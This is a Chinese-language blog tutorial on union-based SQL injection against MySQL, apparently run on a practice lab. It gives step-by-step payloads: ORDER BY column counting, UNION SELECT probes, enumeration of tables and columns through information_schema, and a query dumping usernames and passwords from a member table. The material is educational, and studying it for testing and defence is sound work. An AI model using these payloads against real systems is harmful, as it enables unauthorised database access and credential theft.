SQL注入之路之一:联合注入

union联合查询注入

union联合、合并:将多条查询语句的结果合并成一个结果,union注入攻击为一种手动测试

常用系统库

information_schema

概述

information_schema 数据库是 MySQL5.0 及以上系统自带的数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。
如果我们用于注入的账号,有能够读取该库的权限,那么我们离脱裤就非常非常近了。

常用表
 tables 表
     table_schema:保存所有库名的列
     table_name:保存所有表名的列
 
 columns 表
     table_name:保存所有表名的列
     column_name:保存所有列名的列

mysql

核心数据库
主要存储用户的账户、权限等关键信息。

1.判断注入方式

输入数字型

1 or 1=1

在这里插入图片描述

输入字符型

1' or 1=1#

在这里插入图片描述
经判断若存在则为字符型
查看源代码也可以看出是字符型
在这里插入图片描述

2.判断是否存在SQL漏洞

输入1’ or ‘1’='1

只要一条成立即可
在这里插入图片描述

输入1’ or ‘1’='2

在这里插入图片描述
两次返回的页面不一样,说明存在注入,可以用联合查询的方式进行注入

3.判断字段数

使用语句 order by N 确定当前表的字符数,正确字段数等于出错字段数-1
公式: order by N-1

输入vince’order by 7#在这里插入图片描述

反馈语句报错

输入vince’order by 2#

在这里插入图片描述
没有报错,说明字段数为2

4.联合注入查询获取敏感信息

联合查询输入数字 查询页面是否有数字输出。输出的地方就是显示的内容但 是被数字替换了。-1 是让前面的表查询的内容不存在。所以就会显示数字。
输入1’ union select 1,2 #
在这里插入图片描述

获取信息

输入group_concat(user(),0x3a,database(),0x3a, version()) 通过组拼接获取当前数据库,当前用户名和当前版本
在这里插入图片描述
如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数全部写入
0x3A 是:这个符号的十六进制 在 mysql 里会自动转成符号“:”

联合查询注入通过 information_schema 获取表

在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的 information_schema 查询当前库的表
查询当前库的表 limit 1 相当于 limit 0,1 表示显示第一个 1 改成 2 就是第二个 如此类推
第一个表(httpinfo)

-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)#

在这里插入图片描述
第二个表(member)

-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 12)#

在这里插入图片描述

联合查询注入通过 information_schema 获取字段

同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS这个表记录所有表的字段。通过 COLUMNS 查询XXX表的字段。
获取 XXX 表第一个字段名 (id)

-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='XXX' limit 1))#

在这里插入图片描述
获取 XXX 表第二个字段名 (username)

-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='member' limit 1,1))#

获取XXX表第三个字段名(pw)

-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='member' limit 2,1))#

在这里插入图片描述

通过联合查询字段里的内容

-1' union select 1,(select group_concat(id,0x3a,username,0x3a,pw) from member limit 1)#

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值